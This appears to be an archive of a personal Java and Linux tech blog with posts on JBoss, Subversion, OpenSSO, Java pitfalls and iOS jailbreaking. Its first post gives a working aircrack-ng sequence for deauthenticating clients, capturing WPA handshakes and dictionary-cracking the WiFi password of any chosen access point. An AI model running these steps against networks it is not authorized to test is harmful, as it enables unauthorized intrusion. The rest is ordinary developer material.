The Bright Side of Java & Linux

How to crack a WiFi

2012-01-26T00:02:00.000Z

Using a Linux box, booting from a USB pen drive if you are a Windows guy, it's quite easy to crack a WiFi using aircrack-ng. Here are the step by step instructions:

1 - set your wireless adapter to monitor mode using airmon-ng:
> airmon-ng stop wlan0
> airmon-ng start wlan0

2 - use airodump-ng to get a list of all available WiFi signals:
> airodump-ng wlan0

3 - take note of the information dumped on the screen for the access point you want to crack then start collecting information using airodump-ng:
> airodump-ng -c wifi-channel -w output-files-prefix --bssid wifi-bssid wlan0

4 - force an existing client to re execute a valid handshake using aireplay-ng:
> aireplay-ng -0 5 -a wifi-ap-bssid -c wifi-client-bssid wlan0

5 - execute a dictionary based attack on the handshake packet captured using aircrack-ng:
> aircrack-ng output-file-prefix*.cap -w dictionary-file

If the crack is successful you will be able to see the valid wifi password on the screen!

Upgrading iOS to 4.3.3 when latest is 4.3.4

2011-07-23T13:43:00.000+01:00

Finding precise instructions on how to perform this procedure was not easy so here is what I consider a step by step sequence to follow to upgrade your iDevice (an iPhone 4 in my case) to a firmware version which is not the latest one.
Be aware, you need to have your SHSH already saved for the firmware version you want to update to, otherwise you can't proceed!

Download latest redsn0w
Download the firmware version you want to use
Download TinyUmbrella and RecoveryFix (you may need zlib as well)
Backup your iDevice using iTunes
Start TinyUmbrella, dowload all the available SHSH and start the TSS server
Start iTunes
Put your iDevice in DFU mode
From iTunes select Restore Device holding the shift key then select the firmware you have downloaded and wait until the procedure ends with an error (1011, 1013 or 1015, which is normal)
Now you are stuck in the Recovery Mode, here it comes the RecoveryFix tool, start it and wait for the procedure to complete: you'll end up with a phone unable to do anything rather than emergency calls, don't panic
Run redsn0w, load the same firmware you used to upgrade and let the procedure executes, you'll end up with a jailbroken device, but still unable to connect to your mobile line
Run iTunes and restore your backup, it can take long and may require some free space on disk
Your iDevice is now upgraded, restored and jailbroken... enjoy :-)

IE 8 and CSS: localhost vs rest of the world

2011-07-08T10:31:00.001+01:00

Ok, I have to admit it, I'm not a big fan of Microsoft, but this time they really made me nuts!

One of the most common answer a software developer give against a defect is "it works on my machine" and we all know this is not really true as usually the answer should be "I didn't test this scenario", but this is not the case.
Yesterday I was trying to fix a layout problem in an HTML popup and I thought I had it sorted I then pushed the change into the team repository and the CI system had it built and deployed, but when the tester gave it a try.... it wasn't sorted. After 6 hours of research this is what I came to: Internet Explorer 8 switches between IE8 mode and IE7 mode depending if you are accessing the resource on localhost or with another name/address!

Let me make it a little more clear. Write a simple HTML page, the content does not really matter, and put it into any web server you like, I was using JBoss, but it doesn't really matter, the only thing you need is the ability to access the page both as localhost and with your IP address (this means that you have to start JBoss with -b 0.0.0.0).

Now open IE8 and access that page using localhost, when it is loaded press F12 to load the Developer Tools and look at the last element in the menu bar, it should be like in the following picture:

Close both windows and repeat the same process but using your IP address in the URL, the result should be the following:

This is magic! It took me 6 hours to figure out what was the problem!
And if you are trying to layout stuff in a DIV using CSS, this small Document Mode change can make a huge difference in what it's rendered on the screen!

So imagine you, as a developer, see your code working as you expect, you push your changes and suddenly the page seems to appear wrong, again, and again, and again.... All the files are perfectly the same, on your machine and on the server you are checking against.... but what you see is different!

Thank you again Microsoft, now we can really trust our work. When it comes to IE8, the What You See Is What You Get paradigm is completely fulfilled!

Xmarks lives!

2010-11-02T22:32:00.000Z

A few days ago I posted an article about a software company and a browsers plugin going to die due to lack of founds... I'm now happy to announce they have solved their money problems and their service is going to stay with us. Happy rebirthday to Xmarks!

- Posted from my iPhone

Xmarks is going to die

2010-10-04T15:38:00.000+01:00

In the past days I received an email which changed my mood: a tool I was very happy to have installed on all my browsers and on all my IT gadgets is going to die.

Xmarks is a very usefull tool, a browser plugin which is able to sync your bookmarks and credentials across many different browsers solving once and for all my password and bookmarks problem.

Sadly their inventor were not able to build a revenuing businness on such a tool and they seem to be forced on shutting the service down.

All my appreciation for your work guys and all my sadness for not being able to use it any more.

iPhone SBSettings Theme

2010-09-07T23:32:00.001+01:00

I was unsatisfied by the default SBSettings themes and I decided to take an existing one and customize it.... and it was easier than I thought: here is the archive, just decompress the file and put the file structure under /var/mobile/Library/SBSettings/Themes using the free application iPhoneBrowser.

This is how the theme appears:

Subversion and "Could not authenticate to server"

2010-09-02T08:40:00.000+01:00

Yesterday I was trying to release the latest stable version of the dbUnit project through Maven and I lost some time trying to solve a stupid problem with Subversion: everytime I ran the mvn release:prepare command I got an error saying I wasn't able to authenticate to the Sourceforge SVN server.
As I was previously more than able to release the project through this same exact procedure I think the very source of the problem was the upgrade of the Subversion client. This operation infact made the project checkout directory incompatible with the command line client I was using since my last release and I decided to upgrade to the latest 1.6 version of Subversion CLI.

Everything was working fine but I forgot something: suversion command line tools caches the user credentials and the Maven release goal is performed in an unattend fashion!

If you encounter such a problem I suggest you issue the following command providing your credentials when prompted:

svn lock

In my case the command was:

svn lock https://dbunit.svn.sourceforge.net/svnroot/dbunit/trunk/dbunit/pom.xml

This should prompt you for credentials which will be cached by the SVN client.

Do not forget to unlock the file issuing the unlock command, or none else will be able to commit on that file anymore!

svn unlock

Development Environment

2010-08-29T12:27:00.005+01:00

This is the set of tools available to the development team, all configured for authentication against the corporate LDAP:

Artifactory is the maven repository mirror and corporate artifact repository;
Subversion behind Apache Web Server serves as source code management;
Apache Continuum behind the usual Apache Web Server runs continous integration build and testing using the projects Maven and Ant configurations;
Redmine revealed itself as the perfect solution for project issue and time tracking with the addition of internal documentation;
source code analysis, code test coverage and code quality in general is available through Sonar;
performance issues are found through the HypericHQ monitoring system, whose reports are available to the system administrators too;
Eclipse is the choosen IDE supported by this minimum plugins set.

java.util.Calendar and last, not exactly, day of month

2010-05-31T13:39:00.015+01:00

Consider the following code :

Calendar calendar = Calendar.getInstance();
calendar.set(Calendar.YEAR, 2009);
calendar.set(Calendar.MONTH, Calendar.FEBRUARY);
calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH));
return calendar.getTime();

What's strange or wrong with this? This code looks correct at first look and expected
result should be 28 Feb 2009. Unfortunately it's not always so!!

Suppose to run the above code on 31-May-2009 at 12:00 AM, the result will be 3 Mar 2009!

The reason have to be found on lenient Calendar mechanism. This Calendar property, infact, by default is set to true and doesn't throw any kind of Exception when time interpretation is not correct.

This is javadoc about it:

When a Calendar is lenient, it accepts a wider range of field values than it produces. For example, a lenient GregorianCalendar interprets MONTH == JANUARY, DAY_OF_MONTH == 32 as February 1. A non-lenient GregorianCalendar throws an exception when given out-of-range field settings. When calendars recompute field values for return by get(), they normalize them. For example, a GregorianCalendar always produces DAY_OF_MONTH values between 1 and the length of the month.

It means that,in our case, if we really want to get the last day of month, we have to
write this simple code:

Calendar calendar = Calendar.getInstance();
calendar.set(Calendar.YEAR, 2009);
calendar.set(Calendar.MONTH, Calendar.FEBRUARY);
calendar.set(Calendar.DAY_OF_MONTH, 1);
calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH));
return calendar.getTime();

and however, it's not a so bad idea, sometimes, to set lenient property to false and getting an IllegalArgumentsException, always better then abnormal runtime behavior.

Hope it can be helpful.

Five reasons to hate DTOs

2010-05-25T10:55:00.003+01:00

I finally came to it: I hate Data Transfer Objects.

I can't explain why a lot of people still stick with this unconfortable pattern and most of them continue to ignore the cons of this choice. Now I'll try to explain my opinion by listing why I think this should be enlisted as anti-pattern.

whenever you have to return or receive an object you must always copy it using almost double heap memory than normal (yeah, I know it's not really double, but it is something near it)
if you should return or receive a complex structure you have two choices: deep copy the structure or use multiple interactions, in both cases you are loosing heap space and processing time
almost any change to the business model interfaces will be reflected on the transfer objects AND on the code which maps the two (the latter does not apply in case you use introspection which is slower and lesser customizable) more than doubling the maintenance time and is error prone
programmers tend to confuse the difference between model objects and DTOs adding utility methods to the former and business logic to the latter
if in certain situations you need additional info on the client side from a returned DTO you have two choices: embed a service call into the DTO (which hides the complexity but expose to a performance hit as your users don't know they are starting another interaction) or call another service to obtain the additional infos (which adds complexity to your service interface)

Now let explain my way to replace DTOs with interfaces:

if you need to return or receive almost all the informations stored in your business model object just do it, return or receive your business model object
whenever you need to return a DTO, may be to reduce the informations providen by hiding some properties/methods, return an interface which your business model object will implement
whenever you need to receive a DTO you have two choices: use a business model object ancestor or use a business model object component; the choice depends on your business model design, if you are used to build by composition or inheritance
when you need to return a complex structure just initialize the structure before returning it (this is needed to avoid lazy initialization errors)

Four simple rules to avoid class and memory duplication with a lot of processing time spent copying datas from one object to another.

Do you see situations where this solution is not applicable? Let me know, I'm sure I can find a non DTO based solution.

Password meter

2010-04-14T22:55:00.004+01:00

It's a good and recent practice to place a password strenght meter on registration forms, something like the one depicted below.

To achieve such a result could be very easy adapting something freely available on the web, like the one provided here.

Test Environment: OpenSSO + JBoss + WSO2 ESB + Liferay

2010-02-12T08:53:00.003Z

Today I'm trying to setup a test environment for an architecture we thought could solve some project problems.

The architecture is the following:

JBoss 4.2 or 5.1 (the choice is delayed)
OpenSSO 8
WSO2 ESB
Liferay 5.2

As first start I installed OpenSSO 8 Enterprise (the Express version is not working for me under any environment I tried: Tomcat 5.5, Tomcet 6, JBoss 4.2, JBoss 5.1, Glassfish 2.1) on top of Tomcat 6.
The installation is easy, just deploy the opensso.war inside the tomcat/webapps folder, giving Tomcat one gigabyte of memory (add JAVA_OPTS=-Xmx1024m in catalina.sh) and a fully qualified domain name to the host running tomcat (sso.smartlab.net alias for 127.0.0.1 in /etc/hosts). On first access to the http://sso.smartlab.net/opensso url (it's very important you use the fully qualified domain name on your first access as it's used for configuration) I simply ran the Default Configuration (suggested for test environments only) which requires just two passwords: the amAdmin credentials will be used to access the administration console while the amAgent credentials will be used .

After I installed the OpenSSO policy agent on top of JBoss 4.2. First of all you need to create the J2EE policy agent profile in OpenSSO. To perform this you have to access the OpenSSO administration console (username amAdmin, password the one you specified during initial configuration) and follow the official instructions replacing the informations providen there with your test environment infos; mine were:

Name : JBoss
Server URL : http://sso.smartlab.net:8080/opensso
Agent URL : http://test.smartlab.net:8180/opensso-agent

Please note the Agent URL has a different name and port: the name is resolved through /etc/host to 127.0.0.1 (but MUST share the same domain with the Server URL or additional configuration is needed) while the port MUST be different because I'm running both servers on the same machine.

I'm just performing an initial test of the architecture so I'm cloning the server/default folder of my JBoss 4.2 installation to server/sso, cleaning it up from previous work and editing the deploy/jboss-web.deployer/server.xml to switch the connector ports to 8180 (HTTP) and 8109 (AJP).

I unzipped the JBoss Policy Agent 3.0 package (unpacked in /opt/jboss/opensso removing the messing directory structure j2ee_agents/jboss_v42_agent) then I created a file with the agent password

$> echo "agent password" > /opt/jboss/opensso/agent.pwd

then I ran the bin/agentadmin script using this informations:

JBoss Server Config Directory : /opt/jboss/server/sso/conf
JBoss Server Home Directory : /opt/jboss
OpenSSO server URL : http://sso.smartlab.net:8080/opensso
Agent URL : http://test.smartlab.net:8180/opensso-agent
Agent Profile name : JBoss
Agent Profile Password file name : /opt/jboss/opensso/agent.pwd
Agent permissions gets added to java permissions policy file : false

Upon procedure completion some files were added to my server/sso JBoss instance, but I had to:

rename the deploy/agentapp.war file to deploy/opensso-agent.war because I used a non standard name;
change the jboss/bin/run.sh script because the suggested procedure to add the agent classpath wasn't good for my environment; I used this script excerpt in place of the suggested one (please note that this excerpt need you to change the first line of run.sh from #!/bin/sh to #!/bin/bash.

I then ran my JBoss test instance with /opt/jboss/bin/run.sh -c sso and everything seems working: I tested it trying to access the http://test.smartlab.net:8180/opensso-agent application being redirected to the OpenSSO login page on http://sso.smartlab.net/opensso.

The last test was about securing the JBoss JMX Console through OpenSSO. The activity required me to:

add this snippet to the deploy/jmx-console.war/WEB-INF/web.xml file
add this snippet to the deploy/jmx-console.war/WEB-INF/jboss-web.xml file

Upon completion the same OpenSSO login page should be displayed before trying to access the http://test.smartlab.net:8180/jmx-console url.

Ok, then let's try to log into the JBoss JMX Console, but with which credentials?!? On my first try I used the OpenSSO Administration Console superuser credentials (amAdmin/adminadmin) but I encountered a redirection loop failure thus discovering my setup wasn't ready yet. Googling a little bit I discovered this error can be simply solved adding an addition parameter for the JVM to the Tomcat configuration: JAVA_OPTS="$JAVA_OPTS -Dcom.iplanet.am.cookie.c66Encode=true".

Solved the problem and going back to the JMX Console I got a 403 (resource forbidden) error and after some investigations I discovered the easiest solution was to tell OpenSSO to simply apply a limited policy of type SSO_ONLY (Access Control > Top Level Realm > Agents > J2EE > JBoss > General add a jmx-console=SSO_ONLY map entry).

In the near future I wish to try the usage of the OpenID 2 standard on OpenSSO, I've found some instructions on another blog but I hadn't the time to investigate yet.

Redmine Installation on Ubuntu 9.04

2010-02-05T12:53:00.001Z

I decided to give a try to Redmine 0.9.1 and decided to test it on my own notebook running Ubuntu 9.04 (64 bit). As a Ruby newby I had a few issues that's why I'm going to post here my experience. By the way: Redmine is running fine on my notebook authenticating users against my corporate OpenLDAP!

First of all I installed the gem and ruby packages from the Ubuntu repos:

sudo apt-get install rubygems ruby

I decided to perform te remaining installation steps from gem (which, by the way, is a good tool to install ruby packages, something like apt):

sudo gem install rails
sudo gem install rake
sudo gem install rack -v=1.0.1

By default Redmine runs on top of mySQL, but I prefer PostgreSQL as RDBMS so I followed the Redmine wiki instructions to configure PostgreSQL as backend.

sudo gem install pg

Here I got the first problem as a native library I haven't installed on my PC was required, but the outputted message was unclear: something regarding a missing pg_config parameter or command.
After some search I discovered pg_config is a command line utility available through the Ubuntu repositories, so the problem is easily solved running:

sudo apt-get install libpq-dev

Now the previous installation command should finish properly and you can continue with the instructions available on the Redmine wiki.

Once started the WEBrick server I started playing with the web application but I encountered another problem: the OpenLDAP integration. I entered all the parameters in the fields and get a succesfult connection test but I was unable to log into the system with OpenLDAP accounts: I discovered the problem was I entered too much informations in the LDAP Authentication definition!

Strange but solving: in the Redmine LDAP Authentication definition page you MUST NOT insert any credentials (I was erroneusly populating those fields with LDAP administrator credentials) but leave those fields blank and voilà, LDAP integration works!

New book on JBoss 5 AS arriving

2010-01-19T14:26:00.009Z

Today an operative of Packt has contacted me by email asking if I could be a reviewer for their new book JBoss AS 5 Development.

I was very proud by the request itself, especially because the request came because of this blog and the posts regarding JBoss AS: I'm used to consider this blog a place to store hints and tips for future use, I never thought someone could consider me just by the logs I was writing here! :-D

Well, I hope to ave enough spare time to review the book and write here some considerations about it.

Thank you Mr. Swati Viswanathan for contacting me ;-)

JBoss 4 on CentOS 5

2009-11-16T13:19:00.001Z

Following the step by step instructions to have JBoss 4 starting on boot on a CentOS 5 server.

1. create a jboss user with the command
useradd --system -d /your/jboss/root/dir jboss

2. copy the init script already available in the jboss distribution into the /etc/init.d folder with the command
cp /your/jboss/root/dir/bin/jboss_init_redhat.sh /etc/init.d/jboss

3. alter the /etc/init.d/jboss file to match with the CentOS 5 SELinux distribution feature changing the line
SUBIT="su - $JBOSS_USER -c "
to the equivalent SELinux of su
SUBIT="runuser - $JBOSS_USER -c "

4. ensure the jboss user is capable of read and writing all the files in it's home folder executing the command
chown jboss.jboss /your/jboss/root/dir -Rf
chmod u+rw /your/jboss/root/dir -Rf

5. (optional) ensure the deployers are capable of read and writing all the files in the jboss server dirs
chown jboss.devel /your/jboss/root/dir/server -Rf
chmod g+rws /your/jboss/root/dir/server/ -Rf

6. (optional) ensure the jboss server is listening on the correct address specifing the -b option on startup changing the /etc/init.d/jboss script adding the bolded line (the non bolded line is placed as a positional reference):
JBOSS_HOME=${JBOSS_HOME:-"/usr/local/jboss"}
JBOSS_HOST=0.0.0.0

EJB 2.x maximum performances and flexibility: abstract from Remote vs Local

2009-10-15T17:25:00.003+01:00

I think the following should be a best practice whenever you should implement EJB 2.x specifications as this will allow to transparently switch between local and remote interfaces without any change.

In EJB 2.x you need to write the following classes/interfaces to support both remote and local deployment:
public class MyComponentBean implements javax.ejb.SessionBean
public interface MyComponentRemoteHome extends javax.ejb.EJBRemoteHome
public interface MyComponentRemote extends javax.ejb.EJBObject
public interface MyComponentLocalHome extends javax.ejb. EJBLocalHome
public interface MyComponentLocal extends javax.ejb.EJBLocalObject
If you want to be able to switch between local and remote deployment you need to change every place where you retrieve the EJB, usually this action is concentrated in a ServiceLocator implementation like:

public class MyComponentServiceLocator {
public final static String MY_COMPONENT_LOCATION = "ejb/myComponent";

public static MyComponentLocal getLocal(Properties properties) throws Exception {
 InitialContext context = new InitialContext(properties);
 MyComponentLocalHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/local");
 return home.create();
 }
 public static MyComponentRemote getRemote(Properties properties) throws Exception {
 InitialContext context = new InitialContext(properties);
 MyComponentRemoteHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/remote");
 return home.create();
 }
}

With this approach you can switch from local to remote just switching from MyComponentServiceLocator.getLocal(...) to MyComponentServiceLocator.getRemote(...) on every place you need to switch, but in addition you need to switch the type you declared for the variable to which you are going to assign the MyComponentServiceLocator call result: from MyComponentLocal to MyComponentRemote.

In addition you need to manually track down all interfaces are exposing the same methods.
Wouldn't it easier if we can have some sort of automatic check and avoid the need to switch the code? Couldn't be possible to switch between local and remote at deployment time without any change at compile time?

Well, the answer is in the following structure:
public interface MyComponent
declares all shared functional methods, each method will throws java.rmi.RemoteException in addition to any exception it should normally throw
public interface MyComponentHome
declares all shared creation methods throwing both java.rmi.RemoteException and javax.ejb.CreateException
public class MyComponentBean implements javax.ejb.SessionBean, MyComponentRemote, MyComponentLocal
the MyComponentRemote and MyComponentLocal interfaces have been added here to ensure the implementation class provides code for all the declared methods: be careful, all methods must not throw java.rmiRemoteException
public interface MyComponentRemoteHome extends javax.ejb.EJBRemoteHome, MyComponentHome
the MyComponentHome interface has been added here to ensure all shared creation methods are supported by the remote home: if all the remote creation methods are shared than this interface will be completely empty!
public interface MyComponentRemote extends javax.ejb.EJBObject, MyComponent
the MyComponent interface has been added here to ensure all the shared methods are supported through the remote interface: if all the remote methods are shared than this interface will be completely empty!
public interface MyComponentLocalHome extends javax.ejb. EJBLocalHome, MyComponentHome
the MyComponentHome interface has been added here to ensure all shared creation methods are supported by the local home: all methods defined in the MyComponentHome interface must be overriden here to remove the java.rmi.RemoteException declaration; if you forget this step your application server should warn you when you deploy this EJB.
public interface MyComponentLocal extends javax.ejb.EJBLocalObject, MyComponent
the MyComponent interface has been added here to ensure all shared methods are supported through the local interface: all methods defined in the MyComponent interface must be overriden here to remove the java.rmi.RemoteException declaration; if you forget this step your application server should warn you when you deploy this EJB.
This is harder to say than to put in practice and the advantages are:
one place for shared creation methods: if you add a method to MyComponentHome interface you automatically get it on the remote home and if you forget to override it in the local home (to remove the java.rmi.RemoteException) your application server will warn you on your first deployment;
one place for shared functional methods: if you add a method to MyComponent interface you automatically get it on the remote interface and if you forget to override it in the local interface (to remove the java.rmi.RemoteException) your application server will warn you on your first deployment;
your clients will no more have to deal with remote or local differences as they will use the MyComponent interface (unless they need some methods not available on both interfaces)
you can still produce different interfaces for local and remote deployments;
your implementation will always implement the required methods;
you can switch between local and remote deployment using the ejb-ref directive (in your web.xml or in your ejb.xml)
you can have a ServiceLocator like the following one which completely masks the remote vs local

public class MyComponentServiceLocator {
 public final static String MY_COMPONENT_LOCATION = "ejb/myComponent";
 public static MyComponent get(Properties properties) throws NamingException, CreateException, RemoteException {
 InitialContext context = new InitialContext(properties);
 MyComponentHome home = (MyComponentHome)context.lookup("java:comp/env/" + MY_COMPONENT_LOCATION);
 return home.create();
 }
}

If you don't want to deal with the ejb-ref at all you can consider the following ServiceLocator implementation which allows any deployment combination and automatically uses the local interface if available (with lesser performances as two JNDI lookups are performed in the worst case)

public class MyComponentServiceLocator {
 public final static String MY_COMPONENT_LOCATION = "ejb/myComponent";
 public static MyComponent get(Properties properties) throws NamingException, CreateException, RemoteException {
 try {
 return MyComponentServiceLocator.getLocal(properties);
 } catch (Exception e) {
 return MyComponentServiceLocator.getRemote(properties);
 }
 }
 public static MyComponentLocal getLocal(Properties properties) throws NamingException, CreateException {
 InitialContext context = new InitialContext(properties);
 MyComponentLocalHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/local");
 return home.create();
 }
 public static MyComponentRemote getRemote(Properties properties) throws NamingException, CreateException, RemoteException {
 InitialContext context = new InitialContext(properties);
 MyComponentRemoteHome home = (MyComponentRemoteHome)context.lookup(MY_COMPONENT_LOCATION + "/remote");
 return home.create();
 }
}

Be careful, the last solution can produce unwanted exception traces in your application server when the local lookup fails: those exceptions are normal unless produced by the remote lookup. Those unwanted exceptions can bring you mad when you try to understand why your EJB is not working.

JBoss Production Environment

2009-10-06T00:49:00.004+01:00

In my humble opinion a JBoss production environment should be something like the one depicted in the following diagram

I recommend to use mod_proxy, mod_proxy_balancer and mod_proxy_ajp apache modules both for load balancing and request forwarding with directives like:

ProxyRequests Off
<Proxy balancer://webapp-cluster>
Order deny,allow
Allow from all
BalancerMember ajp://instance1:8009/webapp-name loadfactor=1
BalancerMember ajp://instance2:8009/webapp-name loadfactor=1
ProxySet lbmethod=bytraffic
</Proxy>
ProxyPass /webapp-name balancer://webapp-cluster
ProxyPassReverse /webapp-name balancer://webapp-cluster
System dimensions and load can vary the numbers, but the architecture should be sufficient and enough scalable for many situations.

Java Serialization & final class attributes

2009-10-05T01:57:00.001+01:00

Today I had to face a problem with Java Serialization and here is the report of what I've achieved.
The SmartWeb BusinessObject class defines a protected attribute named logger carrying the logger for subclasses. The BusinessObject class implements Serializable thus it needs to define the logger attribute as transient because Commons Logging loggers are non serializable.

The problem arises whenever you deserialize a BusinessObject subclass because the logger attribute will not be deserialized (it has not be serialized at all!) and this makes all your logging statements producing NullPointerExceptions! BTW, those errors are very difficult to understand for two reasons:
you always consider that attribute valid and you will hardly consider tha logger attribute to be null
every logging statement you try to add to your code to understand what's going wrong will fail on it's own
Well, the solution to the problem is re initialize the logger attribute upon object deserialization implementing a custom readObject method as stated in the Serializable interface documentation:
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException;
The preceeding code is not going to work in my specific case because the logger attribute has been declared as final to avoid unwanted replacements and potential errors. The first option I took in consideration was "ok, I've no exit, let's make that attribute non final" but the idea was suddenly replaced by "but standard Java Serialization is normally able to deserialize final fields... how?" and I googled and digged a little bit into the problem ending to the following solution:
 /** * Custom deserialization. We need to re-initialize a logger instance as loggers * can't be serialized. */ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { try { Class type = BusinessObject.class; // use getDeclaredField as the field is non public Field logger = type.getDeclaredField("logger"); // make the field non final logger.setAccessible(true); logger.set(this, LogFactory.getLog(type)); // make the field final again logger.setAccessible(false); } catch (Exception e) { LogFactory.getLog(this.getClass()) .warn("unable to recover the logger after deserialization: logging statements will cause null pointer exceptions", e); } in.defaultReadObject(); } 

Subversion + LDAP read only and read write

2009-09-30T12:25:00.001+01:00

Image via Wikipedia
Here follows the Apache configuration I found working to set a repository read-only and read-write permissions. Consider read-write permissions are given by adding a user to both read-allowed and write-allowed LDAP groups, while read-only permissions are given through the read-allowed LDAP group.

AuthType basic
AuthBasicProvider ldap
AuthBasicAuthoritative On
AuthName "SmartLab Directory Server"
AuthLDAPURL ldap://ldap/ou=people,dc=smartlab,dc=net
AuthLDAPGroupAttributeIsDN off
AuthLDAPGroupAttribute memberUid

 Require ldap-group cn=read-allowed,ou=groups,dc=smartlab,dc=net

 Require ldap-group cn=write-allowed,ou=groups,dc=smartlab,dc=net

Subversion merge after refactor

2009-09-24T15:53:00.002+01:00

I recently discovered the popular Subversion VCS has a problem to apply differences to moved files. Unfortunately I discovered this after a big and time consuming refactor process so I had to find out an "easy-to-apply" solution to this problem.

Image via Wikipedia

My repository layout is something like:

project
+-- trunk
+-- branches
+-- refactoring

The target operation is to merge the refactoring branch onto the trunk, but to avoid blocking all other people I decide to perform the inverse: apply all updates on the trunk to the refactoring branch. On merge completion I'm going to switch the twos.

First of all I started merging the trunk onto the branch ignoring all the "Skipped missing target" messages which whould occur for each file you moved/renamed: in my case this was happening for 99% percent of the files, as it was a massive refactor, and only downloading added files (which you may still need to review).

svn merge -r 3855:HEAD http://svn.smartlab.net/project/trunk

Then I moved on the trunk working copy and performed a huge diff starting from the revision in which I created the branch and stopping to the HEAD revision:

svn diff -r 3855:HEAD . > rev.3855-HEAD.diff

Next step was to open the diff file both in eclipse (right click on the checkout folder, Team/Apply patch...) and within a text editor (I used gedit, but vi or notepad++ should get you to the same results): I used eclipse to easily find unmatched entries (shown with a red cross) and applied a textual search & replace on the diff file in the text editor.

At the end of my process I had a diff file I could use to patch my branch to have it up to date against the trunk, with a few missing/unappliable patches against those files I had removed definitely from my branch.

The process was easy, but needed time and the results depends on the accuracy you perform it. But at least all my work has not been void!

BTW: if you are not mass refactorying you can use the Eclipse support to select an unmatched diff entry and move it to another file, this can be really usefull if you have moved only a few files.

RTMPT on Tomat + Red5 as a war

2009-09-03T20:08:00.005+01:00

I'm recently developing a Flex application and, as an Open Source addicted, I choosen to use Red5 as streaming server.

The network architecture actually is a Tomcat 6 servlet container with some wars deployed within, one of which is the Red5 streaming server.

To ensure my application could be used through internet the default RTMP protocol is not the best choice as some firewalls blocks its port, so I opted for the RTMP over HTTP, also known as RTMPT (notice the final additional T) which is able to tunnel RTMP inside HTTP.

I found a bit of confusion when I googled to configure my Red5 war so I'm going to report here the simple four steps I did to make my configuration working.

Open your WEB-INF/web.xml file and add the RTMPT servlet definition and mappings (if RTMP is going to be tunneled inside HTTP we need an HTTP endpoint able to forward packets)

<servlet>
<servlet-name>rtmpt</servlet-name>
<servlet-class>org.red5.server.net.rtmpt.RTMPTServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>rtmpt</servlet-name>
<url-pattern>/fcs/*</url-pattern>
</servlet-mapping>

<servlet-mapping>
<servlet-name>rtmpt</servlet-name>
<url-pattern>/open/*</url-pattern>
</servlet-mapping>

<servlet-mapping>
<servlet-name>rtmpt</servlet-name>
<url-pattern>/close/*</url-pattern>
</servlet-mapping>

<servlet-mapping>
<servlet-name>rtmpt</servlet-name>
<url-pattern>/send/*</url-pattern>
</servlet-mapping>

<servlet-mapping>
<servlet-name>rtmpt</servlet-name>
<url-pattern>/idle/*</url-pattern>
</servlet-mapping>

Inside your WEB/lib you should have a Red5 jar (well, this is not my case as I use Maven for build, but Maven users will understand what I mean, right?) and you need to open it up and edit the red5.properties file it contains:

http.port = 8080

Open your Tomcat 6 folder and edit the file conf/server.xml adding, if needed, an HTTP/1.1 connector for the port you want to use for RTMPT (the default port is 80, but you can set it accordingly to your needs):


<Connector port="8088" protocol="HTTP/1.1"
maxThreads="150" connectionTimeout="20000"
redirectPort="8080" />

The last and very bothering part is you need to have your streaming server war binded to the root context, so you can simply rename it to ROOT.war
---

OpenSSL CA-Infrastructure

2009-07-24T12:31:00.000+01:00

Generate your own private key and make sure none will ever get access to your private key:
openssl genrsa -des3 -out private.key 2048

If you need your public key outside of a certificate issue this command:
openssl rsa -in private.key -pubout -out public.key

To generate a certificate request for your key:
openssl req -new -key private.key -out certificate.csr

Now you should send your certificate request ONLY to the certification authority; someone, on the other side will view your request:
openssl req -text -noout -in certificate.csr

and then will decide to sign your request sending a valid certificate
openssl x509 -days 365 -in certificate.csr -out certificate.crt -sha1 -CA ca.crt -CAkey ca.key -req -extfile user.ext

HSQLDB No such table Exception

2009-03-20T17:58:00.001Z

I've encountered a strange problem using HSQLDB which became totally weird when using that database in conjunction with Hibernate formulas. Here is the problem and the specific issue.

I've a table named group (lower case) and a table named property (lower case) in a schema named auth (lower case too, for naming convention) and I want to create them both on HSQLDB. I know group is a reserved word in SQL so I've created my DDL statements accordingly:
 create schema auth authorization DBA;

 create table auth."group" (
 "id" bigint generated by default as identity (start with 1),
 "description" longvarchar,
 primary key ("id")
 );

 create table auth."property" (
 id bigint generated by default as identity (start with 1),
 handler varchar(255),
 primary key (id)
 );
As you can see I've double quoted the structure element names in table group to avoid the reserved word problem (I could limit myself to the table name, but this doesn't make any difference) and I've used the same notation for the table property name too (not needed but this clarifies my example). Now I wish to query that database with a query like
select * from auth."group"
which correctly executes and returns the results, but a query like
select * from auth.property
fails with a No such table exception !?!

Well the problem is HSQLDB converts all identifiers to upper case unless you use the double quote notation!!!! The query then should be issued as
select * from auth."property"
If you query the database meta data you can see the problem in the auth schema name: it's real name is AUTH, all uppercase letters!

The problem here is HSQLDB is case sensitive but implicitly converts all your table names and column names to upper case! Yes the problem occur on column names too, in fact the following query fails with a No such column exception:
select "id" from auth."property"
Thats because the id column was implicitly renamed to ID... sigh!

Ok, this is a problem, but it's still not a great problem, you just use double quotes consistently through all your project (I had no choice to use double quotes everywhere) and you can forget the problem just treating HSQLDB as a case sensitive database.

If you wish to use Hibernate to query such a database you have to use the special single quote character ` (sorry, I haven't found a better name for it) instead of double quotes inside your HBMs to let Hibernate substitute the ` char with the " char (to avoid XML issues).

Well, still no unresolvable problem until now, but if you want to write an Hibernate formula property... BANG! With an Hibernate formula property in fact you can write your own SQL statement which will be executed to populate that property, but you can't use nor double quotes nor the ` char to escape a column name there! Well the last statement is not completely true as you can use the ` tinstead of the double quotes, but in this case you can use only fields of the table your class is mapped onto... which makes formulas quite unuseful.

I'm actually trying to help the Hibernate developers to solve the problem... I'll update this post if I found a solution as Hibernate user or developer.

Reduce a JNLP application size

2009-03-04T20:41:00.001Z

I've found (with suggestions from my friend Matteo Croce) a simple and easy way to drastically reduce the size of Java client application:

pack all your classes and relative dependencies into a single jar using maven-shade-plugin (http://maven.apache.org/plugins/maven-shade-plugin/) or other similar ways
use Proguard (http://proguard.sourceforge.net/) to include into your uber-jar only those classes really used into your application (OPTIONAL)
Use standard Java 5 additional compression method Pack200 (http://java.sun.com/j2se/1.5.0/docs/guide/deployment/deployment-guide/pack200.html)
